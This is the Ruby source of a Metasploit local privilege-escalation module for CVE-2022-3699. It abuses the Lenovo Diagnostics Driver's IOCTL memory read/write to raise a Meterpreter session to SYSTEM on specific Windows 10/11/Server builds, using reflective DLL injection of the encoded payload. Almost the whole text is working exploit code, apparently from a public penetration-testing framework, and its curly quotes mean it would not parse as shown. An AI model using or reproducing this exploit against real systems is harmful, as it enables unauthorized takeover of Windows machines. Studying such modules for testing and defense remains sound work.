# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Exploit::Local::WindowsKernel
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::ReflectiveDLLInjection
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
{
‘Name’ => ‘Lenovo Diagnostics Driver IOCTL memmove’,
‘Description’ => %q{
Incorrect access control for the Lenovo Diagnostics Driver allows a low-privileged user the ability to
issue device IOCTLs to perform arbitrary physical/virtual memory read/write.
},
‘License’ => MSF_LICENSE,
‘Author’ => [
‘alfarom256’, # Original PoC
‘jheysel-r7’ # msf module
],
‘Arch’ => [ ARCH_X64 ],
‘Platform’ => ‘win’,
‘SessionTypes’ => [ ‘meterpreter’ ],
‘DefaultOptions’ => {
‘EXITFUNC’ => ‘thread’
},
‘Targets’ => [
[ ‘Windows x64’, { ‘Arch’ => ARCH_X64 } ]
],
‘References’ => [
[ ‘CVE’, ‘2022-3699’ ],
[ ‘URL’, ‘https://github.com/alfarom256/CVE-2022-3699/’ ]
],
‘DisclosureDate’ => ‘2022-11-09’,
‘DefaultTarget’ => 0,
‘Notes’ => {
‘Stability’ => [CRASH_SAFE],
‘Reliability’ => [REPEATABLE_SESSION],
‘SideEffects’ => []
},
‘Compat’ => {
‘Meterpreter’ => {
‘Commands’ => %w[
stdapi_railgun_api
]
}
}
}
)
)
end
def check
unless session.platform == ‘windows’
# Non-Windows systems are definitely not affected.
return Exploit::CheckCode::Safe
end
handle = open_device(‘\\\\.\\LenovoDiagnosticsDriver’, ‘FILE_SHARE_WRITE|FILE_SHARE_READ’, 0, ‘OPEN_EXISTING’)
if handle.nil?
return Exploit::CheckCode::Safe
end
session.railgun.kernel32.CloseHandle(handle)
CheckCode::Appears
end
def target_compatible?
build_num = sysinfo[‘OS’].match(/Build (\d+)/)[1].to_i
vprint_status(“Windows Build Number = #{build_num}”)
return true if sysinfo[‘OS’] =~ /Windows 10/ && build_num >= 14393 && build_num <= 19045
return true if sysinfo[‘OS’] =~ /Windows 11/ && build_num == 22000
return true if sysinfo[‘OS’] =~ /Windows 2016\+/ && build_num >= 17763 && build_num <= 20348
false
end
def exploit
if is_system?
fail_with(Failure::None, ‘Session is already elevated’)
end
# check that the target is a compatible version of Windows (since the offsets are hardcoded) before loading the RDLL
unless target_compatible?
fail_with(Failure::NoTarget, ‘The exploit does not support this target’)
end
if sysinfo[‘Architecture’] == ARCH_X64 && session.arch == ARCH_X86
fail_with(Failure::NoTarget, ‘Running against WOW64 is not supported’)
elsif sysinfo[‘Architecture’] == ARCH_X64 && target.arch.first == ARCH_X86
fail_with(Failure::NoTarget, ‘Session host is x64, but the target is specified as x86’)
elsif sysinfo[‘Architecture’] == ARCH_X86 && target.arch.first == ARCH_X64
fail_with(Failure::NoTarget, ‘Session host is x86, but the target is specified as x64’)
end
encoded_payload = payload.encoded
execute_dll(
::File.join(Msf::Config.data_directory, ‘exploits’, ‘CVE-2022-3699’, ‘CVE-2022-3699.x64.dll’),
[encoded_payload.length].pack(‘I<‘) + encoded_payload
)
print_good(‘Exploit finished, wait for (hopefully privileged) payload execution to complete.’)
end
end
